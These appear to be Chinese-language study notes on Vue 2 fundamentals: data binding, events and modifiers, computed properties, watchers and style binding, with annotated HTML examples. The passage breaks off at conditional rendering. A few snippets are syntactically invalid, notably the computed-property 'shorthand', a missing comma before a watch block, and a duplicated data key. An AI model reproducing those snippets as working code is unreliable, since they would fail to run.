一、vue的基本使用：

1、vue的创建：

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6.     <title>Document</title>
  7. </head>
  8.       <!-- 
  9.             初识Vue：
  10.                 1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
  11.                 2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法；
  12.                 3.root容器里的代码被称为【Vue模板】；
  13.                 4.Vue实例和容器是一一对应的；
  14.                 5.真实开发中只有一个Vue实例，并且会配合着组件一起使用；
  15.                 6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；
  16.                 7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；
  18.                 注意区分：js表达式 和 js代码(语句)
  19.                         1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：
  20.                                     (1). a
  21.                                     (2). a+b
  22.                                     (3). demo(1)
  23.                                     (4). x === y ? 'a' : 'b'
  25.                         2.js代码(语句)
  26.                                     (1). if(){}
  27.                                     (2). for(){}
  28.         -->
  29. <body>
  30.     <div id="div">
  31.       <span>{{title}}</span>//vue数据的使用
  32.     </div>
  33. </body>
  34. <script>
  35.     var vm = new Vue({
  36.         el:"#div",//挂载
  37.         data:{
  38.             title:"HTML",
  39.             newProduct:{
  40.                 name:"手机",
  41.                 price:10,
  42.             },
  43.             product:[
  44.                 {name:"苹果",price:2000},
  45.                 {name:"小米",price:2300},
  46.             ],
  47.         },
  48.         methods:{
  49.             addproduct(){
  51.             }
  52.         }
  53.     })
  54. </script>
  55. </html>

2、js的导入与导出：

模块化引入js：

  1. <script src="a.js" type="module"></script>

定义一个a.js:

  1. export default function(a,b){
  2.     return a+b;
  3. }
  4. export function sum(a){
  5.   return a*2;
  6. }
  7. export var n = 2;

如果想要在b.js中使用a.js中的数据则：

  1. import sum from "./a.js";//引入a.js的default
  2. console.log(sum)
  4. import {sum} from "./a.js";引入sum函数
  6. import * as obj from "./a.js";//导入所有的数据
  8. import "XXX.js"；//加载xxx.js（里面的数据都会被执行，如果多次调用只执行一次是）

二、vue模板语法的使用：

1.v-bind的使用：

v-bind的使用是用来动态渲染数据的使用，数据来自new VUE（{data：{}中的数据}）

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>模板语法</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.                 Vue模板语法有2大类：
  12.                     1.插值语法：
  13.                             功能：用于解析标签体内容。
  14.                             写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。
  15.                     2.指令语法：
  16.                             功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。
  17.                             举例：v-bind:href="xxx" 或  简写为 :href="xxx"，xxx同样要写js表达式，
  18.                                      且可以直接读取到data中的所有属性。
  19.                             备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。
  21.          -->
  22.         <!-- 准备好一个容器-->
  23.         <div id="root">
  24.             <h1>插值语法</h1>
  25.             <h3>你好，{{name}}</h3>
  26.             <hr/>
  27.             <h1>指令语法</h1>
  28.             <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
  29.             <a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
  30.         </div>
  31.     </body>
  33.     <script type="text/javascript">
  34.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  36.         new Vue({
  37.             el:'#root',
  38.             data:{
  39.                 name:'jack',
  40.                 school:{
  41.                     name:'尚硅谷',
  42.                     url:'http://www.atguigu.com',
  43.                 }
  44.             }
  45.         })
  46.     </script>
  47. </html>

2.v-model的使用（双向绑定）：

ps:v-model只能应用在表单类元素（输入类元素）上

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>数据绑定</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.             Vue中有2种数据绑定的方式：
  12.                     1.单向绑定(v-bind)：数据只能从data流向页面。
  13.                     2.双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。
  14.                         备注：
  15.                                 1.双向绑定一般都应用在表单类元素上（如：input、select等）
  16.                                 2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。
  17.          -->
  18.         <!-- 准备好一个容器-->
  19.         <div id="root">
  20.             <!-- 普通写法 -->
  21.             <!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>
  22.             双向数据绑定：<input type="text" v-model:value="name"><br/> -->
  24.             <!-- 简写 -->
  25.             单向数据绑定：<input type="text" :value="name"><br/>
  26.             双向数据绑定：<input type="text" v-model="name"><br/>
  28.             <!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
  29.             <!-- <h2 v-model:x="name">你好啊</h2> -->
  30.         </div>
  31.     </body>
  33.     <script type="text/javascript">
  34.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  36.         new Vue({
  37.             el:'#root',
  38.             data:{
  39.                 name:'尚硅谷'
  40.             }
  41.         })
  42.     </script>
  43. </html>

三、el与data的两种写法：

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>el与data的两种写法</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.             data与el的2种写法
  12.                     1.el有2种写法
  13.                                     (1).new Vue时候配置el属性。
  14.                                     (2).先创建Vue实例，随后再通过vm.$mount('#root')指定el的值。
  15.                     2.data有2种写法
  16.                                     (1).对象式
  17.                                     (2).函数式
  18.                                     如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。
  19.                     3.一个重要的原则：
  20.                                     由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。
  21.         -->
  22.         <!-- 准备好一个容器-->
  23.         <div id="root">
  24.             <h1>你好，{{name}}</h1>
  25.         </div>
  26.     </body>
  28.     <script type="text/javascript">
  29.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  31.         //el的两种写法
  32.          const v = new Vue({
  33.             el:'#root', //第一种写法
  34.             data:{
  35.                 name:'尚硅谷'
  36.             }
  37.         })
  38.         console.log(v)
  39.         v.$mount('#root') //第二种写法 
  41.         //data的两种写法
  42.         new Vue({
  43.             el:'#root',
  44.             //data的第一种写法：对象式
  45.             data:{
  46.                 name:'尚硅谷'
  47.             } 
  49.             //data的第二种写法：函数式
  50.             data(){
  51.                 console.log('@@@',this) //此处的this是Vue实例对象
  52.                 return{
  53.                     name:'尚硅谷'
  54.                 }
  55.             }
  56.         })
  57.     </script>
  58. </html>

四、Vue中的MVVM模型：

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>理解MVVM</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.             MVVM模型
  12.                         1. M：模型(Model) ：data中的数据
  13.                         2. V：视图(View) ：模板代码
  14.                         3. VM：视图模型(ViewModel)：Vue实例
  15.             观察发现：
  16.                         1.data中所有的属性，最后都出现在了vm身上。
  17.                         2.vm身上所有的属性 及 Vue原型上所有属性，在Vue模板中都可以直接使用。
  18.         -->
  19.         <!-- 准备好一个容器-->
  20.         <div id="root">
  21.             <h1>学校名称：{{name}}</h1>
  22.             <h1>学校地址：{{address}}</h1>
  23.             <!-- <h1>测试一下1：{{1+1}}</h1>
  24.             <h1>测试一下2：{{$options}}</h1> $options 即可以获取自定义属性
  25.             <h1>测试一下3：{{$emit}}</h1>
  26.             <h1>测试一下4：{{_c}}</h1> -->
  27.         </div>
  28.     </body>
  30.     <script type="text/javascript">
  31.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  33.         const vm = new Vue({
  34.             el:'#root',
  35.             data:{
  36.                 name:'尚硅谷',
  37.                 address:'北京',
  38.             }
  39.         })
  40.         console.log(vm)
  41.     </script>
  42. </html>

五、Vue中的数据代理：

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>Vue中的数据代理</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.                 1.Vue中的数据代理：
  12.                             通过vm对象来代理data对象中属性的操作（读/写）
  13.                 2.Vue中数据代理的好处：
  14.                             更加方便的操作data中的数据
  15.                 3.基本原理：
  16.                             通过Object.defineProperty()把data对象中所有属性添加到vm上。
  17.                             为每一个添加到vm上的属性，都指定一个getter/setter。
  18.                             在getter/setter内部去操作（读/写）data中对应的属性。
  19.          -->
  20.         <!-- 准备好一个容器-->
  21.         <div id="root">
  22.             <h2>学校名称：{{name}}</h2>
  23.             <h2>学校地址：{{address}}</h2>
  24.         </div>
  25.     </body>
  27.     <script type="text/javascript">
  28.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  30.         const vm = new Vue({
  31.             el:'#root',
  32.             data:{
  33.                 name:'尚硅谷',
  34.                 address:'宏福科技园'
  35.             }
  36.         })
  37.     </script>
  38. </html>

通过控制台可以查看name和address的信息：
image.png

image.png

六、Vue中的事件处理：

6.1 事件的基本使用：

1.使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；
2.事件的回调需要配置在methods对象中，最终会在vm上；
3.methods中配置的函数，不要用箭头函数！否则this就不是vm了；
4.methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或 组件实例对象；
5.@click=”demo” 和 @click=”demo($event)” 效果一致，但后者可以传参；

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>事件的基本使用</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.                 事件的基本使用：
  12.                             1.使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；
  13.                             2.事件的回调需要配置在methods对象中，最终会在vm上；
  14.                             3.methods中配置的函数，不要用箭头函数！否则this就不是vm了；
  15.                             4.methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或 组件实例对象；
  16.                             5.@click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参；
  17.         -->
  18.         <!-- 准备好一个容器-->
  19.         <div id="root">
  20.             <h2>欢迎来到{{name}}学习</h2>
  21.             <!-- <button v-on:click="showInfo">点我提示信息</button> -->
  22.             <button @click="showInfo1">点我提示信息1（不传参）</button>
  23.             <button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
  24.         </div>
  25.     </body>
  27.     <script type="text/javascript">
  28.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  30.         const vm = new Vue({
  31.             el:'#root',
  32.             data:{
  33.                 name:'尚硅谷',
  34.             },
  35.             methods:{
  36.                 showInfo1(event){
  37.                     // console.log(event.target.innerText)
  38.                     // console.log(this) //此处的this是vm
  39.                     alert('同学你好！')
  40.                 },
  41.                 showInfo2(event,number){
  42.                     console.log(event,number)
  43.                     // console.log(event.target.innerText)
  44.                     // console.log(this) //此处的this是vm
  45.                     alert('同学你好！！')
  46.                 }
  47.             }
  48.         })
  49.     </script>
  50. </html>

6.2 事件修饰符：

Vue中的事件修饰符：
1.prevent：阻止默认事件（常用）；
2.stop：阻止事件冒泡（常用）；
3.once：事件只触发一次（常用）；
4.capture：使用事件的捕获模式；
5.self：只有event.target是当前操作的元素时才触发事件；
6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>事件修饰符</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.         <style>
  9.             *{
  10.                 margin-top: 20px;
  11.             }
  12.             .demo1{
  13.                 height: 50px;
  14.                 background-color: skyblue;
  15.             }
  16.             .box1{
  17.                 padding: 5px;
  18.                 background-color: skyblue;
  19.             }
  20.             .box2{
  21.                 padding: 5px;
  22.                 background-color: orange;
  23.             }
  24.             .list{
  25.                 width: 200px;
  26.                 height: 200px;
  27.                 background-color: peru;
  28.                 overflow: auto;
  29.             }
  30.             li{
  31.                 height: 100px;
  32.             }
  33.         </style>
  34.     </head>
  35.     <body>
  36.         <!-- 
  37.                 Vue中的事件修饰符：
  38.                         1.prevent：阻止默认事件（常用）；
  39.                         2.stop：阻止事件冒泡（常用）；
  40.                         3.once：事件只触发一次（常用）；
  41.                         4.capture：使用事件的捕获模式；
  42.                         5.self：只有event.target是当前操作的元素时才触发事件；
  43.                         6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；
  44.         -->
  45.         <!-- 准备好一个容器-->
  46.         <div id="root">
  47.             <h2>欢迎来到{{name}}学习</h2>
  48.             <!-- 阻止默认事件（常用） -->
  49.             <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
  51.             <!-- 阻止事件冒泡（常用） -->
  52.             <div class="demo1" @click="showInfo">
  53.                 <button @click.stop="showInfo">点我提示信息</button>
  54.                 <!-- 修饰符可以连续写 -->
  55.                 <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
  56.             </div>
  58.             <!-- 事件只触发一次（常用） -->
  59.             <button @click.once="showInfo">点我提示信息</button>
  61.             <!-- 使用事件的捕获模式 -->
  62.             <div class="box1" @click.capture="showMsg(1)">
  63.                 div1
  64.                 <div class="box2" @click="showMsg(2)">
  65.                     div2
  66.                 </div>
  67.             </div>
  69.             <!-- 只有event.target是当前操作的元素时才触发事件； -->
  70.             <div class="demo1" @click.self="showInfo">
  71.                 <button @click="showInfo">点我提示信息</button>
  72.             </div>
  74.             <!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； -->
  75.             <ul @wheel.passive="demo" class="list">
  76.                 <li>1</li>
  77.                 <li>2</li>
  78.                 <li>3</li>
  79.                 <li>4</li>
  80.             </ul>
  82.         </div>
  83.     </body>
  85.     <script type="text/javascript">
  86.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  88.         new Vue({
  89.             el:'#root',
  90.             data:{
  91.                 name:'尚硅谷'
  92.             },
  93.             methods:{
  94.                 showInfo(e){
  95.                     alert('同学你好！')
  96.                     // console.log(e.target)
  97.                 },
  98.                 showMsg(msg){
  99.                     console.log(msg)
  100.                 },
  101.                 demo(){
  102.                     for (let i = 0; i < 100000; i++) {
  103.                         console.log('#')
  104.                     }
  105.                     console.log('累坏了')
  106.                 }
  107.             }
  108.         })
  109.     </script>
  110. </html>

6.3 键盘事件：

  1.             1.Vue中常用的按键别名：<br />                            回车 => enter<br />                            删除 => delete (捕获“删除”和“退格”键)<br />                            退出 => esc<br />                            空格 => space<br />                            换行 => tab (特殊，必须配合keydown去使用)<br />                            上 => up<br />                            下 => down<br />                            左 => left<br />                            右 => right<br />                2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）<br />                3.系统修饰键（用法特殊）：ctrl、alt、shift、meta<br />                            (1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。<br />                            (2).配合keydown使用：正常触发事件。<br />                4.也可以使用keyCode去指定具体的按键（不推荐）<br />                5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名
  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>键盘事件</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.                 1.Vue中常用的按键别名：
  12.                             回车 => enter
  13.                             删除 => delete (捕获“删除”和“退格”键)
  14.                             退出 => esc
  15.                             空格 => space
  16.                             换行 => tab (特殊，必须配合keydown去使用)
  17.                             上 => up
  18.                             下 => down
  19.                             左 => left
  20.                             右 => right
  22.                 2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）
  24.                 3.系统修饰键（用法特殊）：ctrl、alt、shift、meta
  25.                             (1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
  26.                             (2).配合keydown使用：正常触发事件。
  28.                 4.也可以使用keyCode去指定具体的按键（不推荐）
  30.                 5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名
  31.         -->
  32.         <!-- 准备好一个容器-->
  33.         <div id="root">
  34.             <h2>欢迎来到{{name}}学习</h2>
  35.             <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
  36.         </div>
  37.     </body>
  39.     <script type="text/javascript">
  40.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  41.         Vue.config.keyCodes.huiche = 13 //定义了一个别名按键
  43.         new Vue({
  44.             el:'#root',
  45.             data:{
  46.                 name:'尚硅谷'
  47.             },
  48.             methods: {
  49.                 showInfo(e){
  50.                     // console.log(e.key,e.keyCode)
  51.                     // console.log(e.target.value) //获取标签里面的value值
  52.                     console.log(e.target)//触发事件的标签 <input type="text" placeholder="按下回车提示输入"/>
  53.                 }
  54.             },
  55.         })
  56.     </script>
  57. </html>

七、计算属性：

计算属性：
1.定义：要用的属性不存在，要通过已有属性计算得来。
2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。
3.get函数什么时候执行？
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。
5.备注：
1.计算属性最终会出现在vm上，直接读取使用即可。
2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

7.1 传统的拼接方式({{firstName}}-{{lastName}}):

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>姓名案例_插值语法实现</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 准备好一个容器-->
  11.         <div id="root">
  12.             姓：<input type="text" v-model="firstName"> <br/><br/>
  13.             名：<input type="text" v-model="lastName"> <br/><br/>
  14.             全名：<span>{{firstName}}-{{lastName}}</span>
  15.         </div>
  16.     </body>
  18.     <script type="text/javascript">
  19.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  21.         new Vue({
  22.             el:'#root',
  23.             data:{
  24.                 firstName:'张',
  25.                 lastName:'三'
  26.             }
  27.         })
  28.     </script>
  29. </html>

7.2 通过methods方法进行拼接 进行返回数据：

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>姓名案例_methods实现</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 准备好一个容器-->
  11.         <div id="root">
  12.             姓：<input type="text" v-model="firstName"> <br/><br/>
  13.             名：<input type="text" v-model="lastName"> <br/><br/>
  14.             全名：<span>{{fullName()}}</span>
  15.         </div>
  16.     </body>
  18.     <script type="text/javascript">
  19.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  21.         new Vue({
  22.             el:'#root',
  23.             data:{
  24.                 firstName:'张',
  25.                 lastName:'三'
  26.             },
  27.             methods: {
  28.                 fullName(){
  29.                     console.log('@---fullName')
  30.                     return this.firstName + '-' + this.lastName
  31.                 }
  32.             },
  33.         })
  34.     </script>
  35. </html>

7.3 计算属性的使用：

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>姓名案例_计算属性实现</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.             计算属性：
  12.                     1.定义：要用的属性不存在，要通过已有属性计算得来。
  13.                     2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。
  14.                     3.get函数什么时候执行？
  15.                                 (1).初次读取时会执行一次。
  16.                                 (2).当依赖的数据发生改变时会被再次调用。
  17.                     4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。
  18.                     5.备注：
  19.                             1.计算属性最终会出现在vm上，直接读取使用即可。
  20.                             2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。
  21.          -->
  22.         <!-- 准备好一个容器-->
  23.         <div id="root">
  24.             姓：<input type="text" v-model="firstName"> <br/><br/>
  25.             名：<input type="text" v-model="lastName"> <br/><br/>
  26.             测试：<input type="text" v-model="x"> <br/><br/>
  27.             全名：<span>{{fullName}}</span> <br/><br/>
  28.             <!-- 全名：<span>{{fullName}}</span> <br/><br/>
  29.             全名：<span>{{fullName}}</span> <br/><br/>
  30.             全名：<span>{{fullName}}</span> -->
  31.         </div>
  32.     </body>
  34.     <script type="text/javascript">
  35.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  37.         const vm = new Vue({
  38.             el:'#root',
  39.             data:{
  40.                 firstName:'张',
  41.                 lastName:'三',
  42.                 x:'你好'
  43.             },
  44.             methods: {
  45.                 demo(){
  47.                 }
  48.             },
  49.             computed:{
  50.         //完整写法
  51.                 fullName:{
  52.                     //get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
  53.                     //get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
  54.                     get(){
  55.                         console.log('get被调用了')
  56.                         // console.log(this) //此处的this是vm
  57.                         return this.firstName + '-' + this.lastName
  58.                     },
  59.                     //set什么时候调用? 当fullName被修改时。
  60.                     set(value){
  61.                         console.log('set',value)
  62.                         const arr = value.split('-')
  63.                         this.firstName = arr[0]
  64.                         this.lastName = arr[1]
  65.                     }
  66.                 }
  68.         //简写
  69.         fullName:{
  70.             return this.firstName + '-' + this.lastName
  71.           }
  72.             }
  73.         })
  74.     </script>
  75. </html>

八、监视属性：

8.1 监视属性基本使用：

监视属性watch:
1.当被监视的属性发生变化时，回调函数自动调用，进行相关操作
2.监视的属性必须村早，才能进行监视。
3.监视的两种写法：
（1）. new Vue时传入watch配置

  1. <script type="text/javascript">
  2.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  4.         const vm = new Vue({
  5.             el:'#root',
  6.             data:{
  7.                 isHot:true,
  8.             },
  9.             computed:{
  10.                 info(){
  11.                     return this.isHot ? '炎热' : '凉爽'
  12.                 }
  13.             },
  14.             methods: {
  15.                 changeWeather(){
  16.                     this.isHot = !this.isHot
  17.                 }
  18.             },
  19.       //监视属性ishot
  20.              watch:{
  21.                 isHot:{
  22.                     immediate:true, //初始化时让handler调用一下
  23.                     //handler什么时候调用？当isHot发生改变时。
  24.                     handler(newValue,oldValue){
  25.                         console.log('isHot被修改了',newValue,oldValue)
  26.                     }
  27.                 }
  28.             } 
  29.         })

（2）. 通过vm.$watch 监视

  1. <script type="text/javascript">
  2.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  4.         const vm = new Vue({
  5.             el:'#root',
  6.             data:{
  7.                 isHot:true,
  8.             },
  9.             computed:{
  10.                 info(){
  11.                     return this.isHot ? '炎热' : '凉爽'
  12.                 }
  13.             },
  14.             methods: {
  15.                 changeWeather(){
  16.                     this.isHot = !this.isHot
  17.                 }
  18.             }
  20.         })
  22.         vm.$watch('isHot',{
  23.             immediate:true, //初始化时让handler调用一下
  24.             //handler什么时候调用？当isHot发生改变时。
  25.             handler(newValue,oldValue){
  26.                 console.log('isHot被修改了',newValue,oldValue)
  27.             }
  28.         })

8.2 深度监视：

深度监视：
（1）Vue中的watch默认不监视对象内部值的改变（一层）
（2）配置deep：true可以监视对象内部值得改变（多层）
备注：
(1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！
(2).使用watch时根据数据的具体结构，决定是否采用深度监视。

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>天气案例_深度监视</title>
  6.         <!-- 引入Vue -->
  7.         <script type="text/javascript" src="../js/vue.js"></script>
  8.     </head>
  9.     <body>
  10.         <!-- 
  11.                 深度监视：
  12.                         (1).Vue中的watch默认不监测对象内部值的改变（一层）。
  13.                         (2).配置deep:true可以监测对象内部值改变（多层）。
  14.                 备注：
  15.                         (1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！
  16.                         (2).使用watch时根据数据的具体结构，决定是否采用深度监视。
  17.          -->
  18.         <!-- 准备好一个容器-->
  19.         <div id="root">
  21.             <h3>a的值是:{{numbers.a}}</h3>
  22.             <button @click="numbers.a++">点我让a+1</button>
  23.             <h3>b的值是:{{numbers.b}}</h3>
  24.             <button @click="numbers.b++">点我让b+1</button>
  25.             <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
  26.             {{numbers.c.d.e}}
  27.         </div>
  28.     </body>
  30.     <script type="text/javascript">
  31.         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  33.         const vm = new Vue({
  34.             el:'#root',
  35.             data:{
  36.                 numbers:{
  37.                     a:1,
  38.                     b:1,
  39.                     c:{
  40.                         d:{
  41.                             e:100
  42.                         }
  43.                     }
  44.                 }
  45.             }
  46.             watch:{
  47.                 //监视多级结构中某个属性的变化（监视对象某个属性时  名字加引号表示，如：（"user.name"））
  48.                 /* 'numbers.a':{
  49.                     handler(){
  50.                         console.log('a被改变了')
  51.                     }
  52.                 } */
  53.                 //监视多级结构中所有属性的变化
  54.                 numbers:{
  55.                     deep:true,//加上可以监视对象内部
  56.                     handler(){
  57.                         console.log('numbers改变了')
  58.                     }
  59.                 }
  60.             }
  61.         })
  63.     </script>
  64. </html>

8.3 监视属性的正常写法：

  1. //正常写法
  2.          vm.$watch('isHot',{
  3.             immediate:true, //初始化时让handler调用一下
  4.             deep:true,//深度监视
  5.             handler(newValue,oldValue){
  6.                 console.log('isHot被修改了',newValue,oldValue)
  7.             }
  8.         })

九、绑定样式：

绑定样式：
1. class样式
写法:class=”xxx” xxx可以是字符串、对象、数组。
字符串写法适用于：类名不确定，要动态获取。
对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。
数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。
2. style样式
:style=”{fontSize: xxx}”其中xxx是动态值。
:style=”[a,b]”其中a、b是样式对象。

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>绑定样式</title>
  6.         <style>
  7.             .basic{
  8.                 width: 400px;
  9.                 height: 100px;
  10.                 border: 1px solid black;
  11.             }
  13.             .happy{
  14.                 border: 4px solid red;;
  15.                 background-color: rgba(255, 255, 0, 0.644);
  16.                 background: linear-gradient(30deg,yellow,pink,orange,yellow);
  17.             }
  18.             .sad{
  19.                 border: 4px dashed rgb(2, 197, 2);
  20.                 background-color: gray;
  21.             }
  22.             .normal{
  23.                 background-color: skyblue;
  24.             }
  26.             .atguigu1{
  27.                 background-color: yellowgreen;
  28.             }
  29.             .atguigu2{
  30.                 font-size: 30px;
  31.                 text-shadow:2px 2px 10px red;
  32.             }
  33.             .atguigu3{
  34.                 border-radius: 20px;
  35.             }
  36.         </style>
  37.         <script type="text/javascript" src="../js/vue.js"></script>
  38.     </head>
  39.     <body>
  40.         <!-- 准备好一个容器-->
  41.         <div id="root">
  42.             <!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
  43.             <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
  45.             <!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
  46.             <div class="basic" :class="classArr">{{name}}</div> <br/><br/>
  48.             <!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
  49.             <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
  51.             <!-- 绑定style样式--对象写法 -->
  52.             <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
  53.             <!-- 绑定style样式--数组写法 -->
  54.             <div class="basic" :style="styleArr">{{name}}</div>
  55.         </div>
  56.     </body>
  58.     <script type="text/javascript">
  59.         Vue.config.productionTip = false
  61.         const vm = new Vue({
  62.             el:'#root',
  63.             data:{
  64.                 name:'尚硅谷',
  65.                 mood:'normal',
  66.                 classArr:['atguigu1','atguigu2','atguigu3'],
  67.                 classObj:{
  68.                     atguigu1:false,
  69.                     atguigu2:false,
  70.                 },
  71.                 styleObj:{
  72.                     fontSize: '40px',
  73.                     color:'red',
  74.                 },
  75.                 styleObj2:{
  76.                     backgroundColor:'orange'
  77.                 },
  78.                 styleArr:[
  79.                     {
  80.                         fontSize: '40px',
  81.                         color:'blue',
  82.                     },
  83.                     {
  84.                         backgroundColor:'gray'
  85.                     }
  86.                 ]
  87.             },
  88.             methods: {
  89.                 changeMood(){
  90.                     const arr = ['happy','sad','normal']
  91.                     const index = Math.floor(Math.random()*3)
  92.                     this.mood = arr[index]
  93.                 }
  94.             },
  95.         })
  96.     </script>
  98. </html>

十、条件渲染：

10.1 v-if的用法：

  1.      （1).v-if="表达式" <br />           (2).v-else-if="表达式"<br />           (3).v-else="表达式"<br />             适用于：切换频率较低的场景。<br />             特点：不展示的DOM元素直接被移除。<br />             注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。
  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>条件渲染</title>
